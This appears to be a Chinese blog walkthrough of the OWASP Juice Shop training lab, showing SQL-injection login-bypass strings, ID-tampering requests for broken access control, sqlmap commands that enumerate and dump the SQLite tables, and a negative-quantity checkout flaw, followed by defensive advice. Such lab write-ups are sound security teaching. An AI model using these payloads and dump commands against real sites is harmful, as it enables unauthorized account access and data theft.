news 2026/10/20 11:17:05

OWASP Juice Shop 实战笔记:信息收集、SQL 注入与越权漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
OWASP Juice Shop 实战笔记:信息收集、SQL 注入与越权漏洞

实验环境

  • Kali GNU/Linux 2024.4
  • OWASP Juice Shop
  • Burp Suite Community Edition
  • sqlmap

启动 Juice Shop:

dockerrun--rm-p127.0.0.1:3000:3000 dockerpull.cn/bkimmnich/juice-shop

访问http://localhost:3000即可打开靶场。


一、信息收集

1. 发现管理员评论

在商品评论中,可以看到admin@juice-sh.op的留言:

admin@juice-sh.op One of my favorites!

2. 搜索参数

在搜索框输入apple,URL 变为:

http://localhost:3000/#/search?q=apple

说明搜索使用的参数是q。

3. 用户评论中的电视节目

在商品评论中,Jim 的评论提到:

jim@juice-sh.op Fresh out of a replicator.

“replicator” 是《星际迷航》中的设备。


二、SQL 注入登录绕过

1. 登录管理员账户

在登录页的 Email 字段输入:

' or 1=1 --

密码任意,点击登录即可绕过验证,以管理员身份登录。

2. 登录 Bender 账户

在 Email 字段输入:

bender@juice-sh.op' --

密码任意,即可登录 Bender 账户。


三、Broken Access Control 越权操作

1. 查看其他用户的购物篮

注册普通用户并登录,将商品加入购物车。抓取请求:

GET /rest/basket/6 HTTP/1.1

其中6可能是当前用户的购物篮 ID。将其修改为其他数字,例如5,发送请求。

响应中返回了 ID 为 5 的用户的购物篮内容,说明存在水平越权。

2. 以其他用户身份发布评论

抓取发布评论的请求:

PUT /rest/products/1/reviews HTTP/1.1

请求体:

{"message":"great!!!","author":"aaa@juice-sh.op"}

将author修改为其他用户邮箱,例如:

{"message":"good!","author":"bender@juice-sh.op"}

发送后,评论以 Bender 的名义显示。

3. 冒用其他用户提交反馈

抓取提交反馈的请求,将userId修改为其他用户 ID,例如22,即可冒用他人名义提交反馈。

4. 将商品加入他人购物篮

抓取将商品加入购物篮的请求:

POST /api/BasketItems/ HTTP/1.1

请求体:

{"ProductId":6,"BasketId":"6","quantity":1}

将BasketId修改为其他用户的购物篮 ID,例如3,即可将商品加入他人购物篮。


四、SQL 注入订购隐藏商品

1. 发现查询接口

抓包发现查询商品接口:

GET /rest/products/search?q=

2. 使用 sqlmap 注入

将请求保存为123.txt,使用 sqlmap 扫描:

sqlmap-r123.txt--level2-p"q"

确认存在布尔盲注,后端数据库为 SQLite。


尝试注⼊数据库名,发现结果中提示可以直接注⼊表

sqlmap-r123.txt--level2-p"q"--dbms='sqlite'--dbs


尝试注⼊表名,恢复出来 20 张表的表名

sqlmap-r123.txt--level2-p"q"--dbms='sqlite'--tables--threads5

3. 获取 Products 表列名

sqlmap-r123.txt--level2-p"q"--dbms='sqlite'-TProducts--columns--no-cast--threads5

得到列名:id、name、description、price、deluxePrice、image、createdAt、updatedAt、deletedAt。

4. 导出商品 ID 和名称

sqlmap-r123.txt--level2-p"q"--dbms='sqlite'-TProducts-Cid,name--dump--no-cast--threads10

在结果中找到:

10 Christmas Super-Surprise-Box (2014 Edition)

该商品就是隐藏的圣诞礼盒,ID 为 10。

5. 将隐藏商品加入购物车

将商品 ID 修改为10,发送加入购物车请求,即可成功下单。




五、负数量漏洞(Payback Time)

1. 将商品加入购物车

抓取请求:

POST /api/BasketItems/ HTTP/1.1

请求体:

{"ProductId":1,"BasketId":"6","quantity":1}

2. 修改数量为负数

将quantity修改为负数,例如-10,发送请求。


由于订单总价按数量计算,负数量会导致总金额变为负数,从而完成 “Payback Time” 挑战。


六、防御建议

  1. 输入验证:对搜索、登录、评论、反馈等所有用户输入进行严格校验。
  2. 参数化查询:使用预编译语句,避免 SQL 注入。
  3. 访问控制:服务端校验资源归属,禁止通过修改 ID 访问他人数据。
  4. 权限校验:评论、反馈等操作应校验当前用户身份,禁止篡改 author、userId 等字段。
  5. 业务逻辑校验:数量、金额等字段应限制范围,禁止负数、超大值。
  6. 最小权限:数据库账户只授予必要权限,避免注入后获取过多信息。

总结

本文覆盖了 OWASP Juice Shop 中多个典型漏洞:

  • 信息收集:通过评论、搜索参数、URL 等获取敏感信息。
  • SQL 注入:绕过登录、导出隐藏商品。
  • Broken Access Control:水平越权查看购物篮、冒名评论、冒名反馈、操作他人购物篮。
  • 业务逻辑漏洞:负数量导致负金额结算。

这些漏洞的共同点是:服务端过度信任客户端输入,缺乏严格的校验和权限控制。防御的核心是“永远不要相信用户输入”,并在服务端做好身份、权限和业务逻辑校验。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/20 11:16:30

【嵌入式】一个合体机器人的初步设想

✅ 两种模式:“拖曳模式” vs “协同一体模式”假设两台 MicroDuck 类型的双足小车,正面用磁铁吸住对接模式 1:只控制其中一台,另一台不发任何动作指令(最容易出现的情况)A 小车执行走路步态,B …

作者头像 李华
网站建设 2026/10/20 11:14:25

Claude应用开发入门手册:从环境配置到工具调用与缓存实战

简介:这是一份面向Claude AI应用开发者的实践型入门手册,适合希望快速上手Claude平台、构建高质量AI应用的初学者与进阶开发者。内容围绕平台功能解析、真实示例代码与最佳实践展开,覆盖智能聊天机器人、语音识别、图像识别等典型场景&#x…

作者头像 李华
网站建设 2026/10/20 11:14:21

adb查看手机CPU架构

Android 调试桥 (ADB) | Android 开源项目 | Android Open Source Project SDK 平台工具版本说明 | Android Studio | Android Developers 1,下载Android SDK Platform-Tools 下载解压Android SDK Platform-Tools 到自己的软件目录,并添加到Path环境变…

作者头像 李华
网站建设 2026/10/20 11:13:37

Claude Code自动技能库:15分钟接入AI自动激活工作流

如果你已经用 Claude Code 写过一两周代码,大概率会熟悉这个场景:每天早上打开终端,先噼里啪啦复制一大段“项目背景”给它,交代完目录结构、测试框架、改动范围,然后才敢把任务抛出去。代码评审要交代一遍&#xff0c…

作者头像 李华
网站建设 2026/10/20 11:12:15

【零基础学AI】第 13 章课后练习与答案

第 13 章练习与答案🌈 关于《AI 零基础 36 讲》课后训练 📚 与正式讲解配套学习 本篇是《AI 零基础 36 讲》的配套课后训练,与对应章节的正式讲解一起使用。整个系列面向初学者,从日常 AI 使用逐步进入编程、模型训练和大模型应用…

作者头像 李华